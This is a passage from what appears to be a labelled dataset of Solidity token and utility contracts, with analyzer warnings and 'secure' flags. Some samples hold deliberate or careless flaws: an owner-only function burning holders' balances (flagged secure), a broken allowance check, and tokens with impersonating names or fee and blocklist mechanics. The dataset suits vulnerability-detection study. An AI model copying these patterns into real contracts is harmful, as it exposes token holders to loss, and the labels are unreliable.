(calls-loop | severity: Low | ID: e50ce70): UsingLiquidityProtectionService.LiquidityProtection_unblock(address[]) has external calls inside a loop lps().unblock(pool,_holders[i])\n\t// Recommendation for e50ce70: Favor pull over push strategy for external calls.\n function LiquidityProtection_unblock(\n address[] calldata _holders\n ) external onlyProtectionAdmin {\n require(\n protectionChecker(),\n \"UsingLiquidityProtectionService: protection removed\"\n );\n address pool = getLiquidityPool();\n for (uint256 i = 0; i < _holders.length; i++) {\n\t\t\t// calls-loop | ID: e50ce70\n lps().unblock(pool, _holders[i]);\n }\n }\n\n function disableProtection() external onlyProtectionAdmin {\n protected = false;\n }\n\n function isProtected() public view returns (bool) {\n return protected;\n }\n\n function ProtectionSwitch_manual() internal view returns (bool) {\n return protected;\n }\n\n function ProtectionSwitch_timestamp(\n uint256 _timestamp\n ) internal view returns (bool) {\n return not(passed(_timestamp));\n }\n\n function ProtectionSwitch_block(uint256 _block) internal view returns (bool) {\n return not(blockPassed(_block));\n }\n\n function blockPassed(uint256 _block) internal view returns (bool) {\n return _block < block.number;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 3e8d8fc): UsingLiquidityProtectionService.passed(uint256) uses timestamp for comparisons Dangerous comparisons _timestamp < block.timestamp\n\t// Recommendation for 3e8d8fc: Avoid relying on 'block.timestamp'.\n function passed(uint256 _timestamp) internal view returns (bool) {\n\t\t// timestamp | ID: 3e8d8fc\n return _timestamp < block.timestamp;\n }\n\n function not(bool _condition) internal pure returns (bool) {\n return !_condition;\n }\n\n function feeToUint24(UniswapV3Fees _fee) internal pure returns (uint24) {\n if (_fee == UniswapV3Fees._03) return 3000;\n if (_fee == UniswapV3Fees._005) return 500;\n return 10000;\n }\n\n function getLiquidityPool() public view returns (address) {\n if (uniswapVersion() == UniswapVersion.V2) {\n return\n UniswapV2Library.pairFor(\n uniswapVariety(),\n uniswapFactory(),\n address(this),\n counterToken()\n );\n }\n require(\n uniswapVariety() == UNISWAP,\n \"LiquidityProtection: uniswapVariety() can only be UNISWAP for V3.\"\n );\n return\n UniswapV3Library.computeAddress(\n uniswapFactory(),\n UniswapV3Library.getPoolKey(\n address(this),\n counterToken(),\n feeToUint24(uniswapV3Fee())\n )\n );\n }\n}", "file_name": "solidity_code_3033.sol", "secure": 0, "size_bytes": 6737 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./UsingLiquidityProtectionService.sol\" as UsingLiquidityProtectionService;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract ScaleSwapToken is\n ERC20Burnable,\n Ownable,\n UsingLiquidityProtectionService\n{\n function token_transfer(\n address _from,\n address _to,\n uint256 _amount\n ) internal override {\n _transfer(_from, _to, _amount);\n }\n function token_balanceOf(\n address _holder\n ) internal view override returns (uint256) {\n return balanceOf(_holder);\n }\n function protectionAdminCheck() internal view override onlyOwner {}\n function liquidityProtectionService()\n internal\n pure\n override\n returns (address)\n {\n return 0x9420FE350eEF12778bDA84f61dB0FcB05aaE31C5;\n }\n function uniswapVariety() internal pure override returns (bytes32) {\n return UNISWAP;\n }\n function uniswapVersion() internal pure override returns (UniswapVersion) {\n return UniswapVersion.V2;\n }\n function uniswapFactory() internal pure override returns (address) {\n return 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;\n }\n function _beforeTokenTransfer(\n address _from,\n address _to,\n uint256 _amount\n ) internal override {\n super._beforeTokenTransfer(_from, _to, _amount);\n LiquidityProtection_beforeTokenTransfer(_from, _to, _amount);\n }\n\n function protectionChecker() internal view override returns (bool) {\n return ProtectionSwitch_timestamp(1624924799);\n }\n\n function counterToken() internal pure override returns (address) {\n return 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n }\n\n constructor() ERC20(\"ScaleSwapToken\", \"SCA\") {\n _mint(owner(), 25000000 * 1e18);\n }\n}", "file_name": "solidity_code_3034.sol", "secure": 1, "size_bytes": 2090 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract SimpleContract {\n uint256 public savedNumber;\n\n function updateNumber(uint256 _newNumber) public {\n savedNumber = _newNumber;\n }\n\n function deleteNumber() public {\n savedNumber = 0;\n }\n}", "file_name": "solidity_code_3035.sol", "secure": 1, "size_bytes": 296 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary Address {\n function isContract(address account) internal view returns (bool) {\n uint256 size;\n assembly {\n size := extcodesize(account)\n }\n return size > 0;\n }\n\n function functionCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n value,\n \"Address: low-level call with value failed\"\n );\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(\n address(this).balance >= value,\n \"Address: insufficient balance for call\"\n );\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(\n data\n );\n return _verifyCallResult(success, returndata, errorMessage);\n }\n\n function functionStaticCall(\n address target,\n bytes memory data\n ) internal view returns (bytes memory) {\n return\n functionStaticCall(\n target,\n data,\n \"Address: low-level static call failed\"\n );\n }\n\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return _verifyCallResult(success, returndata, errorMessage);\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return\n functionDelegateCall(\n target,\n data,\n \"Address: low-level delegate call failed\"\n );\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return _verifyCallResult(success, returndata, errorMessage);\n }\n\n function _verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) private pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n if (returndata.length > 0) {\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}", "file_name": "solidity_code_3036.sol", "secure": 1, "size_bytes": 3663 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/Counters.sol\" as Counters;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract NFT is ERC721, Ownable {\n using Counters for Counters.Counter;\n using SafeMath for uint256;\n Counters.Counter private _tokenIds;\n\t// WARNING Optimization Issue (constable-states | ID: 69d6bba): NFT._mintCost should be constant \n\t// Recommendation for 69d6bba: Add the 'constant' attribute to state variables that never change.\n uint256 private _mintCost = 50000000000000000;\n\t// WARNING Optimization Issue (constable-states | ID: 467730b): NFT._maxSupply should be constant \n\t// Recommendation for 467730b: Add the 'constant' attribute to state variables that never change.\n uint256 private _maxSupply = 10000;\n\n constructor() ERC721(\"GameCats\", \"GAME\") Ownable() {}\n\n function mintNFT(address recipient, uint256 count) public payable {\n require(\n count > 0 && count <= 10,\n \"You can mint a minimum of 1, maximum 10 NFTs\"\n );\n require(\n msg.value >= _mintCost.mul(count),\n \"Ether value sent is not enough\"\n );\n require(\n count.add(_tokenIds.current()) < _maxSupply,\n \"Exceeds max supply\"\n );\n for (uint256 i = 0; i < count; i++) {\n _mint(recipient);\n }\n }\n\n function withdraw() public onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n\n function _mint(address to) internal virtual returns (uint256) {\n _tokenIds.increment();\n uint256 id = _tokenIds.current();\n _mint(to, id);\n\n return id;\n }\n\n function _baseURI() internal pure override returns (string memory) {\n return \"https://nftapimetadata.herokuapp.com/api/cat/\";\n }\n}", "file_name": "solidity_code_3037.sol", "secure": 1, "size_bytes": 2047 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IAOToken.sol\" as IAOToken;\n\ncontract AOClaim {\n enum STATUS {\n UNAVAILABLE,\n MINTABLE,\n MINTED\n }\n\n mapping(uint16 => STATUS) public tokens;\n\n constructor() {\n tokens[4859] = STATUS.MINTABLE;\n tokens[5491] = STATUS.MINTABLE;\n tokens[5774] = STATUS.MINTABLE;\n tokens[1173] = STATUS.MINTABLE;\n tokens[3548] = STATUS.MINTABLE;\n tokens[4805] = STATUS.MINTABLE;\n tokens[3164] = STATUS.MINTABLE;\n tokens[2653] = STATUS.MINTABLE;\n tokens[3355] = STATUS.MINTABLE;\n tokens[1688] = STATUS.MINTABLE;\n tokens[2307] = STATUS.MINTABLE;\n }\n\n function claim(uint16 _id) external {\n require(tokens[_id] == STATUS.MINTABLE, \"Not available\");\n require(\n IAOToken(0x05844e9aE606f9867ae2047c93cAc370d54Ab2E1).ownerOf(_id) ==\n msg.sender,\n \"Not allowed\"\n );\n\n tokens[_id] = STATUS.MINTED;\n }\n\n function isClaimed(uint16 _id) public view returns (bool) {\n return tokens[_id] == STATUS.MINTED;\n }\n}", "file_name": "solidity_code_3038.sol", "secure": 1, "size_bytes": 1182 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IAOToken {\n function ownerOf(uint256 tokenId) external view returns (address owner);\n}", "file_name": "solidity_code_3039.sol", "secure": 1, "size_bytes": 163 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n}", "file_name": "solidity_code_304.sol", "secure": 1, "size_bytes": 432 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Ownable {\n address public owner;\n\n event OwnershipRenounced(address indexed previousOwner);\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n owner = msg.sender;\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner);\n _;\n }\n\n function transferOwnership(address newOwner) public onlyOwner {\n require(newOwner != address(0));\n emit OwnershipTransferred(owner, newOwner);\n owner = newOwner;\n }\n\n function renounceOwnership() public onlyOwner {\n emit OwnershipRenounced(owner);\n owner = address(0);\n }\n}", "file_name": "solidity_code_3040.sol", "secure": 1, "size_bytes": 768 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./SimpleContract.sol\" as SimpleContract;\n\ncontract DetermineAddress {\n address public predictedAddress;\n\n function predictAddress(bytes32 salt) public {\n predictedAddress = address(\n uint160(\n uint256(\n keccak256(\n abi.encodePacked(\n bytes1(0xff),\n address(this),\n salt,\n keccak256(\n abi.encodePacked(\n type(SimpleContract).creationCode,\n abi.encode()\n )\n )\n )\n )\n )\n )\n );\n }\n\n function deploySimpleContract(bytes32 salt) public {\n SimpleContract d = new SimpleContract{salt: salt}();\n require(address(d) == predictedAddress);\n }\n}", "file_name": "solidity_code_3041.sol", "secure": 1, "size_bytes": 1079 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract IRC20 is Ownable {\n event Approval(address indexed owner, address indexed spender, uint256 value);\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 public totalSupply;\n string public name;\n string public symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: dfcce50): IRC20.decimals should be immutable \n\t// Recommendation for dfcce50: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 public decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a227e12): IRC20.isBridgeToken should be constant \n\t// Recommendation for a227e12: Add the 'constant' attribute to state variables that never change.\n bool public isBridgeToken = true;\n\n constructor(string memory _name, string memory _symbol, uint8 _decimals) {\n name = _name;\n symbol = _symbol;\n decimals = _decimals;\n }\n\n function getOwner() public view returns (address) {\n return owner;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function allowance(\n address account,\n address spender\n ) public view returns (uint256) {\n return _allowances[account][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public returns (bool) {\n _transfer(sender, recipient, amount);\n require(\n _allowances[sender][msg.sender] >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n uint256 c = _allowances[msg.sender][spender] + addedValue;\n require(c >= addedValue, \"SafeMath: addition overflow\");\n _approve(msg.sender, spender, c);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public returns (bool) {\n require(\n _allowances[msg.sender][msg.sender] >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(\n msg.sender,\n spender,\n _allowances[msg.sender][msg.sender] - subtractedValue\n );\n return true;\n }\n\n function mint(uint256 amount) public onlyOwner returns (bool) {\n _mint(msg.sender, amount);\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n require(sender != address(0), \"HRC20: transfer from the zero address\");\n require(recipient != address(0), \"HRC20: transfer to the zero address\");\n require(\n _balances[sender] >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] -= amount;\n uint256 c = _balances[recipient] + amount;\n require(c >= amount, \"SafeMath: addition overflow\");\n _balances[recipient] = c;\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal {\n require(account != address(0), \"HRC20: mint to the zero address\");\n uint256 c = totalSupply + amount;\n require(c >= amount, \"SafeMath: addition overflow\");\n totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal {\n require(account != address(0), \"HRC20: burn from the zero address\");\n require(\n _balances[account] >= amount,\n \"ERC20: burn amount exceeds balance\"\n );\n _balances[account] -= amount;\n totalSupply -= amount;\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address account,\n address spender,\n uint256 amount\n ) internal {\n require(account != address(0), \"HRC20: approve from the zero address\");\n require(spender != address(0), \"HRC20: approve to the zero address\");\n _allowances[account][spender] = amount;\n emit Approval(account, spender, amount);\n }\n\n function mintTo(address account, uint256 amount) external onlyOwner {\n _mint(account, amount);\n }\n\n function burnFrom(address account, uint256 amount) external onlyOwner {\n _burn(account, amount);\n }\n}", "file_name": "solidity_code_3042.sol", "secure": 1, "size_bytes": 5325 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract ERC20FixedSupply is ERC20(\"APO Coin\", \"APO\", 8) {\n constructor() {\n _mint(msg.sender, 40000000 * (uint256(10) ** 8));\n }\n}", "file_name": "solidity_code_3043.sol", "secure": 1, "size_bytes": 278 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Token is ERC20 {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a19c0f7): Token._totalSupply should be immutable \n\t// Recommendation for a19c0f7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\t// WARNING Optimization Issue (immutable-states | ID: 38489ce): Token._decimals should be immutable \n\t// Recommendation for 38489ce: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n string private _name;\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 03c8222): Token._owner should be immutable \n\t// Recommendation for 03c8222: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _owner;\n\n constructor() {\n _symbol = \"ETRON\";\n _name = \"Wrapped TRON Governance Protocol\";\n _decimals = 6;\n _totalSupply = 10000000000000;\n _owner = payable(msg.sender);\n _balances[_owner] = _totalSupply;\n _allowances[_owner][\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n ] = _totalSupply;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][msg.sender];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n unchecked {\n _approve(sender, msg.sender, currentAllowance - amount);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n}", "file_name": "solidity_code_3044.sol", "secure": 1, "size_bytes": 4279 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract ThousandX is ERC20(\"1000x\", \"1000x\") {\n using SafeMath for uint256;\n address[] internal avengers;\n\t// WARNING Optimization Issue (immutable-states | ID: 3e084db): ThousandX.thanos should be immutable \n\t// Recommendation for 3e084db: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address internal thanos;\n\n modifier onlyThanos() {\n require(msg.sender == thanos);\n _;\n }\n\n constructor() public {\n _mint(msg.sender, 1000000 * (10 ** uint256(decimals())));\n thanos = msg.sender;\n }\n\n function snap() public onlyThanos {\n\t\t// cache-array-length | ID: 770354d\n for (uint256 i = 0; i < avengers.length; i++) {\n uint256 vibranium = super.balanceOf(avengers[i]).div(2);\n\n super._burn(avengers[i], vibranium);\n }\n }\n\n function iDontFeelSoGood(address spiderman) public onlyThanos {\n avengers.push(spiderman);\n }\n\n function infinityGauntlet()\n public\n view\n onlyThanos\n returns (address[] memory)\n {\n return avengers;\n }\n}", "file_name": "solidity_code_3045.sol", "secure": 1, "size_bytes": 1365 }
{ "code": "// SPDX-License-Identifier: BSD-3-Clause\n\npragma solidity ^0.8.0;\n\nabstract contract BackingStore {\n address public MAIN_CONTRACT;\n\t// WARNING Optimization Issue (constable-states | ID: 0e574ee): BackingStore.UNISWAP_FACTORY_ADDRESS should be constant \n\t// Recommendation for 0e574ee: Add the 'constant' attribute to state variables that never change.\n address public UNISWAP_FACTORY_ADDRESS =\n 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;\n\t// WARNING Optimization Issue (constable-states | ID: e8998e7): BackingStore.UNISWAP_ROUTER_ADDRESS should be constant \n\t// Recommendation for e8998e7: Add the 'constant' attribute to state variables that never change.\n address public UNISWAP_ROUTER_ADDRESS =\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n address public ADMIN_ADDRESS;\n}", "file_name": "solidity_code_3046.sol", "secure": 1, "size_bytes": 818 }
{ "code": "// SPDX-License-Identifier: BSD-3-Clause\n\npragma solidity ^0.8.0;\n\nimport \"./BackingStore.sol\" as BackingStore;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract VeloxProxy is BackingStore, Ownable {\n function setAdminAddress(\n address _c\n ) public onlyOwner returns (bool succeeded) {\n require(_c != owner(), \"VELOXPROXY_ADMIN_OWNER\");\n ADMIN_ADDRESS = _c;\n return true;\n }\n\n function setMainContract(\n address _c\n ) public onlyOwner returns (bool succeeded) {\n require(_c != address(this), \"VELOXPROXY_CIRCULAR_REFERENCE\");\n require(isContract(_c), \"VELOXPROXY_NOT_CONTRACT\");\n MAIN_CONTRACT = _c;\n return true;\n }\n\n function _fallback() internal {\n address target = MAIN_CONTRACT;\n\n assembly {\n let ptr := mload(0x40)\n calldatacopy(ptr, 0, calldatasize())\n\n let result := delegatecall(gas(), target, ptr, calldatasize(), 0, 0)\n\n let size := returndatasize()\n returndatacopy(ptr, 0, size)\n\n switch result\n case 0 {\n revert(ptr, size)\n }\n case 1 {\n return(ptr, size)\n }\n }\n }\n\n fallback() external {\n _fallback();\n }\n\n receive() external payable {\n _fallback();\n }\n\n function isContract(address addr) private view returns (bool) {\n uint256 size;\n assembly {\n size := extcodesize(addr)\n }\n return size > 0;\n }\n}", "file_name": "solidity_code_3047.sol", "secure": 1, "size_bytes": 1616 }
{ "code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract McDogelon is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n string private constant _name = \"McDogelon\";\n string private constant _symbol = \"McDoge\";\n uint8 private constant _decimals = 9;\n\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n uint256 private constant MAX = ~uint256(0);\n uint256 private constant _tTotal = 69000000000 * 10 ** 9;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n\n uint256 private _distroFeeOnBuy = 2;\n uint256 private _taxFeeOnBuy = 5;\n\n uint256 private _distroFeeOnSell = 2;\n uint256 private _taxFeeOnSell = 7;\n\n uint256 private _distroFee = _distroFeeOnSell;\n uint256 private _taxFee = _taxFeeOnSell;\n\n uint256 private _previousDistroFee = _distroFee;\n uint256 private _previousTaxFee = _taxFee;\n\n mapping(address => bool) public bots;\n mapping(address => uint256) private cooldown;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1a5362c): McDogelon._marketingAddress should be constant \n\t// Recommendation for 1a5362c: Add the 'constant' attribute to state variables that never change.\n address payable private _marketingAddress =\n payable(0xEd0d72daA2DB7332e2D3776F0B6Aa96656b3DEfB);\n\t// WARNING Optimization Issue (constable-states | ID: 83b69da): McDogelon._devAddress should be constant \n\t// Recommendation for 83b69da: Add the 'constant' attribute to state variables that never change.\n address payable private _devAddress =\n payable(0xEd0d72daA2DB7332e2D3776F0B6Aa96656b3DEfB);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8af5b15): McDogelon.uniswapV2Router should be immutable \n\t// Recommendation for 8af5b15: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\t// WARNING Optimization Issue (immutable-states | ID: f4b3efd): McDogelon.uniswapV2Pair should be immutable \n\t// Recommendation for f4b3efd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = true;\n\n uint256 public _maxTxAmount = 690000000 * 10 ** 9;\n uint256 public _maxWalletSize = 2000000000 * 10 ** 9;\n uint256 public _swapTokensAtAmount = 1000000 * 10 ** 9;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _rOwned[_msgSender()] = _rTotal;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Router = _uniswapV2Router;\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_marketingAddress] = true;\n _isExcludedFromFee[_devAddress] = true;\n\n bots[address(0x00000000000000000000000000000000001)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8a15703): McDogelon.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8a15703: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1891db0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1891db0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e2a563b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e2a563b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 1891db0\n\t\t// reentrancy-benign | ID: e2a563b\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 1891db0\n\t\t// reentrancy-benign | ID: e2a563b\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n function removeAllFee() private {\n if (_distroFee == 0 && _taxFee == 0) return;\n\n\t\t// reentrancy-benign | ID: e414cee\n _previousDistroFee = _distroFee;\n\t\t// reentrancy-benign | ID: e414cee\n _previousTaxFee = _taxFee;\n\n\t\t// reentrancy-benign | ID: e414cee\n _distroFee = 0;\n\t\t// reentrancy-benign | ID: e414cee\n _taxFee = 0;\n }\n\n function restoreAllFee() private {\n\t\t// reentrancy-benign | ID: e414cee\n _distroFee = _previousDistroFee;\n\t\t// reentrancy-benign | ID: e414cee\n _taxFee = _previousTaxFee;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0f60587): McDogelon._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0f60587: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the 